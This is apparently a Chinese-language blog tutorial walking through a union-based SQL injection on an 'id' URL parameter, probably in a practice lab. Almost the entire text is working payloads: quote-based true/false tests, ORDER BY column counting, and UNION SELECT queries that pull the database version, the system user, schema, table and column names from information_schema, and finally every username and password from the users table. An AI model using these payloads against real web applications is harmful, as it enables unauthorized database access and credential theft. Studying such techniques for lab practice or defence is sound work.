?id=1
注入的单引号被一对单引号包围,在sql语句中id参数应该是字符型,猜测sql语句为:
"SELECT * FROM table_name WHERE id = ‘{$id}‘ LIMIT 0,1"
注入永真式,正确返回结果
注入永假式,无返回结果,确认存在注入漏洞
?id=1‘ order by 1 %23 |
执行成功 |
?id=1‘ order by 2 %23 |
执行成功 |
?id=1‘ order by 3 %23 |
执行成功 |
?id=1‘ order by 4 %23 |
返回错误 |
注:%23是‘#’的URL编码,‘#’是mysql的行注释符
得知该表有3列
确定联合查询的注入点
获取数据库版本和系统用户名
?id=‘ union select 1,version(),system_user() ‘
获取元数据
查询数据库名
?id=‘ union select 1,2,group_concat(schema_name) from information_schema.schemata %23
查询当前数据库的所有表
?id=‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
查询users表所有字段
?id=‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users‘ %23
查询user表的所有数据
?id=‘ union select 1,2,group_concat(id,username,0x3a,password) from users %23
注:0x3a是冒号的16进制编码,作为用户名与密码的间隔,方便区分两个字符串
原文:https://www.cnblogs.com/a-qi/p/13160353.html